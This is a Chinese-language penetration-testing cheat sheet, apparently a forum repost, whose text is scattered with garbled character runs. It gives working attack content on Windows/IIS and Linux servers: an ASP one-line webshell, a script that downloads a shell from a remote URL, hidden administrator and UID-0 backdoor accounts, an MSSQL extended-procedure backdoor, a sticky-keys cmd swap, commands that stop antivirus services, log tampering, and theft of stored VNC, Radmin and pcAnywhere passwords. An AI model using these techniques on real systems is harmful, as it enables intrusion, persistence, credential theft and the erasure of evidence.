渗透技巧总结

admin

旁站路径问题
6 \7 o3 x# }& G$ W/ y" D! U1、读网站配置。
2、用以下VBS
# ^4 E" K# ^. R- ]$ C2 _; {9 _On Error Resume Next
4 A% a2 B2 O  M. i% u8 ZIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

& y$ U( R5 O  V. @7 c  SMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
  p. [; V- s% X2 u8 \3 ?1 Z2 ?
("IIS://LocalHost/W3SVC")
. t6 O+ }+ |: X* x2 kFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)
" u9 Z# x* `7 `) ]' M8 C) {
* h$ h/ S; C8 l; |; [Then
* e: \! W8 Y. A) Q                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
, D% m) y8 j) S; e; C8 I
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
, p$ Z, q6 Z2 ^! e                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

, z- ~& u! {1 d. n5 x. L9 F  _WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
5 @- e( v2 A2 b. D
! W  }- y; K7 i4 N5 v/ @2 D         WScript.Echo "ath            : " & VDirObj.Path
        End If
8 P! Y& ^0 w9 P) J3 m# k/ `Next
复制代码
0 `" G! @0 N  d- x7 [( T3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
! Y5 V: R$ y8 H* D7 y* n) G! B* E4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
* ?' n5 E: V: @4 Y—————————————————————
6 e9 |  t  k5 dWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
9 n1 D2 D: u  H& S( S( }url/wp-content/plugins/akismet/hello.php
0 A5 t% n! |; p# o3 y) Y; z. I——————————————————————
phpMyAdmin暴路径办法:
9 M. `- |, i/ ?* C0 h& }0 {phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
5 d( }( j7 v! F1 L9 S/ n6 PphpMyAdmin/index.php?lang[]=1
' w, I/ B2 E0 J7 ^" Ephpmyadmin/themes/darkblue_orange/layout.inc.php
! r+ N% Z2 h) D; \% r' L0 O% s————————————————————
( Y8 @) w: A4 T- M网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
2 _: T! @0 A) \9 TCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
; r" f8 j0 ]" m4 x6 m* Anetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
( ]  Q8 l( m5 F) h7 snetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
9 u) P5 ]% U, {) n' n. {命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
" K$ z( ?* I5 T& B9 xexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

) U( ?  I% q9 ^( O" G) x* r! D另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
* [; l& C4 a& i' s/ Tvar o=new ActiveXObject( "Shell.Users" );
7 X$ }7 Y6 n- p# I) Fz=o.create("test") ;
z.changePassword("123456","")
7 u( ^, J& m  g+ b* B4 |3 ^z.setting("AccountType")=3;
5 B6 l& ?* t5 S/ A7 m) B* f6 X$ k
vbs:
$ @! p+ r; O, {* z' ]! g9 e, OSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
. I  f# M  z5 r  i6 }z.setting("AccountType")=3
% x5 t; J  c3 r3 v6 H——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

5 a8 k: m9 r+ J9 q) g2 Q% p命令如下
1 c- G5 z9 S. B/ ncacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
% ?5 \( g4 v* K+ i& J: N' Ja、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
5 ~+ ]% L+ A% k# X3 sc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
" R- T# w0 h& i% J9 C4 s& H2003 运行mstsc /console   

) q; [8 ]$ h, R8 l3 s; d杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
/ S' v9 b( {+ Unet stop "Symantec AntiVirus" /y
' l: t5 Q" M: `1 Onet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

& ?5 O8 G6 B* H& ?/ w卖咖啡：net stop "McAfee McShield"
————————————————————
1 x- {% n# @) z, p$ X. h! C
6 R4 c6 g3 T% W( i; S( D) Y5次SHIFT：
' m# I8 V- y& @4 l7 }copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
# @6 _3 r' ^- U  ycopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
. T+ c' X6 v7 P6 x* L% [" p——————————————————————
" D' R! o' f# D$ r隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
6 i( d( Z2 Y$ K7 d3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
2 t- Z/ b7 @* i" {: \# i3 V" l: I4、利用Hacker Defender把相关用户注册表隐藏
4 A% G9 m0 U( ]——————————————————————
3 ?6 m8 N. E) y2 V+ I3 n1 mMSSQL扩展后门：
4 ~7 @, M$ K" s/ b9 tUSE master;
+ O1 ^, U3 @. @EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
! D7 K* h. L1 G) V' C! ~$ L! G  t———————————————————————
: N( G# J( G) m日志处理
, d! J6 `, H  R/ D; f2 YC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
) r- z1 X0 s0 \3 [& Z% t用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
* f# _+ `  G9 t3 @9 X' w6 }当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
; d: R& W- R5 g* c% F/ ^7 C
Server\90\Tools\Shell\mru.dat
—————————————————————————
5 m3 S$ q2 t! J8 [& x" Y  A防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
) g7 M, u' j' A, _& b
9 ^% C1 O0 R' t6 w$ L<%
9 |+ }; K9 R5 x& }8 n5 gSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
: \  p# z9 U! k. g9 B5 `4 s.Send
GetRemoteData = .ResponseBody
4 |# k  B/ S0 V4 w+ ~# kEnd With
Set Retrieval = Nothing
& U2 F, q, X$ o; w: Y* X) ^Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
0 c% T* Y4 O, u9 p% ^.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
7 d( Y$ o0 s8 L7 _7 u.Close()
End With
Set Ads=nothing
) C/ U0 [. o0 }* ?1 A2 R) |End Sub
5 [" o& G; n8 |) L1 ?
! R: c2 ^1 b( g! qeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

$ N5 M. @* p. ~/ ?4 YVNC提权方法:
) U5 M& _$ x: C4 T1 ]利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
4 d3 J; `( ^9 L( Tregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
1 C$ ^, N6 I1 {regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
9 }3 ?" x2 {. D- u( p6 x' m: o8 aRadmin 默认端口是4899，
3 {9 |* U2 `  T6 D& CHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
- h& T) D% X4 h7 T, cHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
" ~4 S' {* d" a8 D0 G4 n  [) p) A: v然后用HASH版连接。
) \0 b; I# \6 B2 l0 q7 Z如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
# N/ n- Q: ?7 l3 ]: C1 a+ O保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
' \% X& o9 Z: |/ Q" d$ s" {——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
0 m" ?( u8 {# X: D- Y- W没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
. R7 O% V5 u( {$ W' N6 e
+ U; G7 v' G. l1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
7 k: K. e& X" Y/ S& wstrSQLDBUserName = "数据库帐号"
: L$ x0 g2 }8 w% z4 _5 |/ lstrSQLDBPassword = "数据库密码"
9 W, }: z9 G# q' a7 o7 sstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
  i5 d4 e  N# q& {/ S' B
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

& Q" u5 h0 L: W9 fstrSQLDBName & ";"
# O4 h& o( K3 K; [/ Qconn.open strCon
$ w/ r5 O7 S( K( \% Pdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
, O) z5 M3 w, `7 wid = request("id")
: k- j# B' _. g" h9 x$ s) VstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
3 {& U: L) N1 K# g& s8 k% Z7 brs.close
, B* S/ y6 v' p# m% U, T%>
复制代码
' h8 c  H( e, w* q& z/ S******liunx 相关******
一.ldap渗透技巧
  Q6 n, d( n4 _7 f1 v1.cat /etc/nsswitch
- s1 Q; P1 S  F看看密码登录策略我们可以看到使用了file ldap模式

5 C  d" ?7 w, K8 t" j' l5 a8 h' V) L2.less /etc/ldap.conf
0 ^$ ]0 ?* W/ d5 M: B8 bbase ou=People,dc=unix-center,dc=net
; I" V+ a  F3 ?& y找到ou,dc,dc设置
# v- u, Y0 I5 U- Q2 H9 C+ t5 u
3.查找管理员信息
+ ]& Y. b1 |0 i. W3 {匿名方式
3 E# N7 J% N' O' c) Z* hldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

2 o1 x2 ~9 u+ W2 i% q9 ?"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 n+ Z; z! `2 m$ l; b7 f有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
, v4 O% Y- i; O1 _: S1 t

% {9 O7 G) Z* R) U1 M4 @2 y  {4.查找10条用户记录
3 @+ C0 k0 m4 y8 C& Dldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
- e, U4 V0 Q6 @- R
) n1 V4 K/ ]  N实战:
2 t+ j. P/ {8 h( W! r1.cat /etc/nsswitch
6 j0 a+ C3 i4 `" K看看密码登录策略我们可以看到使用了file ldap模式
  h& N  f) d6 W1 o4 u
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
& v3 ~/ o2 `8 q2 d- y' ]( |/ n$ _找到ou,dc,dc设置
& Q, D# u' H6 b7 ]) l  e5 z, F
& t# L4 q. Y3 t1 V3.查找管理员信息
匿名方式
) \2 f2 F. G" E3 B' i% `7 `ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( ]) f+ J( S* @0 |3 [" {有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
/ Y4 |3 \) w% [2 N% c" L

4 _, [- N4 Y5 C" W4 L) i4.查找10条用户记录
$ l6 [3 ~$ o% s9 q( W+ F, x2 rldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
! T2 R3 X% u, p) Z3 b
渗透实战:
1.返回所有的属性
5 p+ U  T' y5 Qldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
6 v2 Z+ D8 H) [! m* u7 Kdn: dc=ruc,dc=edu,dc=cn
$ _5 I6 C: [: Wdc: ruc
2 E1 R9 W! a' Z  \; M) P0 hobjectClass: domain
$ m9 g# m8 x) V' L
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
, g6 h1 W3 ]$ `: eobjectClass: person
objectClass: top
6 w. c2 Q4 ^# l1 qsn: manager
cn: manager
/ M0 o- n1 N5 t; A& W: @  x& S) m
1 q# D) E! {* ?$ @' T5 s; K! Sdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
& I  q; d, E$ {/ q" nobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
7 F( }- j- j- {9 C1 l5 Zsn: superadmin
4 ?/ D  l9 R  `# b; }5 C0 b+ Tcn: superadmin
+ M6 }; C9 u1 E6 v# p
0 ]8 R' I9 W- w8 ?; {1 adn: uid=admin,dc=ruc,dc=edu,dc=cn
7 O- f& j, x  Y/ A' A& D# M/ ?uid: admin
objectClass: inetOrgPerson
0 }7 r# B& b, ]/ l+ \! l0 z8 w% ]objectClass: organizationalPerson
6 S5 r* T! F6 @objectClass: person
6 {( p% N  H) g  {8 kobjectClass: top
sn: admin
cn: admin

; x+ {8 _( C  x( D0 H, Bdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
/ A& E& E+ n. N" e1 d; c, auid: dcp_anonymous
objectClass: top
# k/ u2 s7 q/ @% y, u' |objectClass: person
2 T0 v) g2 V( C( F& lobjectClass: organizationalPerson
: s* m$ G% @6 k' _: Y! k9 VobjectClass: inetOrgPerson
6 m% b% T, w. Msn: dcp_anonymous
) {# _6 g* ?1 p5 kcn: dcp_anonymous
$ s% P0 M3 z( {" T9 k- s5 D7 B
7 [- v. M. d9 Y! e+ L  z2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
4 F' Y" F1 G9 F
more
version: 1
dn: dc=ruc,dc=edu,dc=cn
2 ^2 x; J# n9 Z; L3 s3 pdc: ruc
objectClass: domain

3.查找
! V( m8 `: x: `bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
, ^) p9 a% A7 c5 A' c; H, nversion: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
) ]' q7 P  M' y1 j5 {8 QsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
% ^$ @- l# b4 |  }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
& j+ u' `6 |4 }$ d9 tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
6 Y6 F( `6 x/ X" L. FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
& Q7 Q7 S/ S" m; D7 q1 m9 lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
8 K6 ^  b0 x# ]" @8 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
  {" l! {, I5 b3 t  [4 }/ ^* PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
3 N! J6 Q" I9 T( b# u4 lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
! ]) u/ g( u  s3 i$ y/ `4 jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
% u" z  d% W1 q* r( UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
. M' E) h& A9 G7 e8 lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
' d- _. T/ l+ W( `" q# t: VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
* S1 g9 e9 ^$ @9 e) tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
% a" k* t$ t7 y8 C- m7 VsupportedExtension: 1.3.6.1.4.1.1466.20037
, S; s& o2 P% W0 B, BsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
5 m( J* ]/ Z" n& fsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
6 F: B1 ^  _2 E% K* q, A  a/ _+ KsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
) k; p/ v+ x1 z2 E$ P( K& G: u  FsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
2 X$ T% j0 }" I  @( ~supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
& H9 q, G) o) ^; x& ?supportedControl: 2.16.840.1.113730.3.4.17
5 Z# N  p' n% j8 F2 |supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
! i+ W0 _& e2 g! |# DsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
# X0 b2 e- W0 o) wsupportedControl: 2.16.840.1.113730.3.4.14
! R; @1 E9 ^# Y9 H& Y! hsupportedControl: 1.3.6.1.4.1.1466.29539.12
# H' B% |5 d  f5 K$ BsupportedControl: 2.16.840.1.113730.3.4.12
5 k; f$ ~" F0 A' ZsupportedControl: 2.16.840.1.113730.3.4.18
+ \1 Q* O" N5 P& }5 W% p* osupportedControl: 2.16.840.1.113730.3.4.13
6 F& M& Q  z* s3 @supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
9 G$ F# X5 B; j7 b+ R3 V/ TsupportedLDAPVersion: 3
# V9 Z2 y# R! u" D) TvendorName: Sun Microsystems, Inc.
5 S$ i2 s! i# X2 O6 r( P1 rvendorVersion: Sun-Java(tm)-System-Directory/6.2
5 K, m; o6 t/ M& G+ Zdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
. n9 _- X) l3 i$ a5 D4 I4 E+ s3 nsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
$ L: g/ U7 l7 L* zsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
( c7 Z7 k* u( `% _# E  R+ isupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
! e" h$ G/ a! n. H4 ^% j, t& d  U4 EsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
- F4 @. G% u. P) C, a/ j* W% {supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
6 c% E! u, N" O) E. E/ k! asupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
: S% @6 i& D6 L  SsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
: Y& O/ s- A3 |5 dsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
. ]9 T) [1 ~0 A* ?& {. msupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
+ }! E. I1 Z+ s+ T# PsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
+ u- t6 _" l: RsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
: L/ s6 T% e# j% i, SsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
& s* M4 x3 ?8 y# R' ]% m" P* CsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
5 g1 R% Y; |1 VsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
' c# c% A) ?% o: I# s5 @supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
/ _+ [" H- s- J1 m* MsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
& n: s( y1 ^, M+ C$ e, DsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
9 i" L" R/ f. G! H) xsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
7 b) L9 n( r) m! I: [; ^supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
8 {6 R% ]; ^% c) ^supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
; ?( A: b2 a9 m7 B" D4 m. v+ d; RsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
: ?2 U& Y, P& GsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
2 y0 w$ \  ?2 u* W$ \supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
$ B3 h- l3 u- n  ~3 F! v0 ~+ O/ EsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
' a2 o4 I. y3 l, n1 [supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
8 S9 [. {0 A( }- g  W/ Z————————————
2. NFS渗透技巧
8 U, l- q5 U0 k% _5 `: a) \showmount -e ip
列举IP
9 Z" W! ?* \2 X, @% d——————
+ ]6 a& L3 l3 D: y/ U3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
: J) [1 U, Y& G( o" |; T0 Nauto
* G( k5 h! A; C) z1 V( ximg_auto
html_cms
img_cms
ent_cms
$ o* [3 h0 M4 b/ p& Y5 Gent_img
ceshi
res_img
res_img_c2
' A; W# D! U) I& w  M  \) ^+ W& u$ Uchip
chip_c2
ent_icms
games
gamesimg
( y8 ?( i6 Z* m' ^  k) x' Kmedia
) E" d; s% U# D. Amediaimg
fashion
2 h; r! v! X  \: H; F2 Fres-fashion
& w7 q4 Z: s$ T) o0 x  C+ _res-fo
7 G% y, A# v+ E+ h( {& q1 g" I/ `taobao-home
res-taobao-home
; p) |: `5 ?4 ]& z- x0 _house
res-house
! ~2 x* }# e* O+ X- @+ Z1 D$ K! `; Sres-home
. U6 U# A; l1 ^: Q% dres-edu
res-ent
res-labs
- z* J5 S6 A5 vres-news
res-phtv
res-media
home
% b2 u; ]6 H5 y4 ?* D, k! hedu
news
res-book

4 C$ v& q: o6 b; q看相应的下级目录(注意一定要在目录后面添加上/)

4 z9 g5 u' s: \8 t9 C+ K) N& _
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
$ w! P8 v9 Y7 A  V
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

( q" A- x( C8 ^# y" L7 N3.向上更新rsync文件(成功上传,不会覆盖)
. V) B: f# y# \2 n* K5 Y* Hrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
1 U3 ?$ j; F8 K- `5 r
四.squid渗透技巧
' @3 z( T" w' M6 [0 ync -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
3 Y' p; `* q9 `6 uGET HTTP://WWW.sina.com:22 / HTTP/1.0
5 f9 O; l) X: K0 R! D2 b$ U# s; j五.SSH端口转发
/ \2 |: ~( j5 a* i) Rssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
6 T; U# R9 k$ ~% O) }, v" D* P9 Q* _3 W
六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm
/ \2 h2 [2 s, I) Q2 g5 K
5 b" _) L1 t1 ~+ H4 }# f七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
( w& i; A) J& _% y* [argp@julius ~]$ sysctl vfs.usermount
/ ?  }# O* {) `2 [, A) _( R+ ]2 \* vfs.usermount: 1
  C  m1 n( L3 ~9 q0 @( q* [argp@julius ~]$ id
4 S! }% m. d# n1 I7 J) q1 N7 H* uid=1001(argp) gid=1001(argp) groups=1001(argp)
! ~  F% r) p- W  Y9 V6 O- r5 L* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* M- `. ?8 M: N* [argp@julius ~]$ ./nfs_mount_ex
/ d! e0 p" ], h& k& h; M*
calling nmount()

